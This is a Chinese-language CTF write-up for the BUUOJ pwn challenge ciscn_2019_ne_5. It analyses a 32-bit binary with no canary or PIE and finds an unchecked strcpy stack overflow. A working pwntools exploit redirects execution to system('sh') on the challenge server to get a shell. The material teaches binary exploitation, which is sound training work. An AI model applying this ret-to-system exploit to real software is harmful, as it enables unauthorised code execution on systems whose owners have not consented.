# 题源

https://buuoj.cn/challenges#ciscn_2019_ne_5

# 题解

# 文件保护

checksec 查看文件保护机制:

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

没有 canary,没有 PIE,猜想可能是栈溢出劫持控制流到 system 等函数。

# 反编译

用 IDA 看一下源码,出现这个情况:

a

G 跳转到这个地址,双击进入然后 F5 反编译,结果是一个 scanf。这个时候就可以重新对 main 进行 F5 了。另一种方式是先对后面的子函数进行 F5,然后发现它们是可以用的,再对 main 进行 F5 就发现也可以用了。

a1

可见一开始需要输入 administrator ,然后是一个循环。支持的函数有这些:

int AddLog()
{
  printf("Please input new log info:");
  return __isoc99_scanf();
}
int __cdecl Display(char *s)
{
  return puts(s);
}
int Print()
{
  return system("echo Printing......");
}
int __cdecl GetFlag(char *src)
{
  char dest[4]; // [esp+0h] [ebp-48h]
  char v3; // [esp+4h] [ebp-44h]
  *(_DWORD *)dest = 48;
  memset(&v3, 0, 0x3Cu);
  strcpy(dest, src);
  return printf("The flag is your log:%s\n", dest);
}

# 攻击面

  • Print 函数中使用了 system ,那么 symbols 表就可以获得这个函数,不用从 libc 去找
  • GetFlag 函数中使用的 strcpy 没有对 src 的长度做检查,所以 128 字符的 src 可以溢出 0x48 字符的 dest,从而覆盖程序的返回地址
  • 由于程序 32 位使用栈传参,所以使用 system 地址覆盖 RA,然后传入字符串地址即可。这里有一点小坑就是程序本身没有传统的 /bin/sh 字符串,但是有 sh 字符串,经测试使用 system("sh") 一样可以 getshell。

a2

# exp

from pwn import *
from pwn import p32
filename = './ciscn_2019_ne_5'
# io = process(filename)
io = remote('node4.buuoj.cn',27020)
pro = ELF(filename)
system_func = pro.symbols['system']
sh = next(pro.search(b'sh'))
io.sendlineafter('password:','administrator')
io.sendlineafter('0.Exit','1')
payload = b'a'*(0x48+4) + p32(system_func) + p32(pro.symbols['main']) + p32(sh)
io.sendlineafter('log info:',payload)
io.sendlineafter('0.Exit','4')
io.interactive()

# 总结

本题不算难,主要还是第一次知道原来 "sh" 也可以用作 system 的参数来 getshell。一开始的思路还是想利用 puts 打印出 libc 中 puts 的地址,然后用 libc 里面的 /bin/sh 来做,后来不知道为什么在泄露库地址的时候泄漏不出来(?)于是上网搜了一下发现原来还有别的解法~